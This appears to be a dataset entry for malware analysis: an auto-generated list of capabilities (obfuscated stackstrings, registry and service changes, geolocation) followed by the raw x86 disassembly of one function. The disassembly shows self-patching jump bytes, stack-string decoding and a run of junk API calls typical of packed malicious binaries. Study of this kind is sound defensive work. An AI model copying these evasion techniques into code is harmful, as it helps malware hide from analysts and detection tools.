Function at 0xaac000
Capabilities:
Accept command line arguments
Allocate thread local storage
Clear file content
Contain obfuscated stackstrings
Create directory
Create thread
Delete registry value
Extract resource via kernel32 functions
Get common file path
Get geographical location
Get system information on windows
Identify system language via api
Modify service
Query environment variable
Query or enumerate registry value
Read .ini file
Resume thread
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xaac8ed
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaac039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaac21d
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaac0bb
call fcn.00489a02
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaac07d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaac097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaac097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaac04d
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x24
mov byte [ebp - 0x7d], 0x8d
mov byte [ebp - 0x7c], 0xfa
mov byte [ebp - 0x7b], 0x79
mov byte [ebp - 0x7a], 0xd7
mov byte [ebp - 0x79], 0x98
mov byte [ebp - 0x78], 0x75
mov byte [ebp - 0x77], 0x71
mov byte [ebp - 0x76], 0xf4
mov byte [ebp - 0x75], 0x70
mov byte [ebp - 0x74], 0x9f
mov byte [ebp - 0x73], 0x1c
mov byte [ebp - 0x72], 0xb7
mov byte [ebp - 0x71], 0x21
mov byte [ebp - 0x70], 0xe4
mov byte [ebp - 0x6f], 0x89
mov byte [ebp - 0x6e], 0
mov byte [ebp - 0x6d], 0xd6
mov byte [ebp - 0x6c], 0x50
mov byte [ebp - 0x6b], 0xe0
mov byte [ebp - 0x6a], 0x66
mov byte [ebp - 0x69], 0x9f
mov byte [ebp - 0x68], 0x47
mov byte [ebp - 0x67], 0x49
mov byte [ebp - 0x66], 0x86
mov byte [ebp - 0x65], 0x71
mov byte [ebp - 0x64], 0x76
mov byte [ebp - 0x63], 9
mov byte [ebp - 0x62], 0x9b
mov byte [ebp - 0x61], 0x6f
mov byte [ebp - 0x60], 9
mov byte [ebp - 0x5f], 0xee
mov byte [ebp - 0x5e], 0x50
mov byte [ebp - 0x5d], 0x67
mov byte [ebp - 0x5c], 0x1e
mov byte [ebp - 0x5b], 0xee
mov byte [ebp - 0x5a], 6
mov byte [ebp - 0x59], 0x71
mov byte [ebp - 0x58], 9
mov byte [ebp - 0x57], 0x6e
mov byte [ebp - 0x56], 4
mov byte [ebp - 0x55], 0x7e
mov byte [ebp - 0x54], 1
mov byte [ebp - 0x53], 0x7e
mov byte [ebp - 0x52], 5
mov byte [ebp - 0x51], 0x74
mov byte [ebp - 0x50], 2
mov byte [ebp - 0x4f], 0x7b
mov byte [ebp - 0x4e], 3
mov byte [ebp - 0x4d], 0x2f
mov byte [ebp - 0x4c], 8
mov byte [ebp - 0x4b], 0x81
mov byte [ebp - 0x4a], 7
mov byte [ebp - 0x49], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaac1ad
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x38
jae 0xaac212
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaac1d9
mov dword [ebp - 0x24], 0x24
mov eax, dword [ebp - 8]
add eax, 0x22
mov dword [ebp - 8], eax
jmp 0xaac1a5
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaac201
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaac1ee
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaac1a5
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa0a1a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407fd8
mov ecx, eax
call fcn.00403026
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402fca
and dword [ebp - 0x1c], 0
jmp 0xaac255
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaac265
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaac24e
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1210
push 0
push 0x654
push 0x384
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0xa62
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0
push 0
push 0xf09
push 0
push 0x1487
push 0
push 0x122f
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x20b8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
push 0
push 0x1383
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0x26b2
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0
push 0x6d7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x73c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0
push 0x24b9
push 0x135d
push 0x1628
call dword [sym.imp.KERNEL32.dll_RaiseException]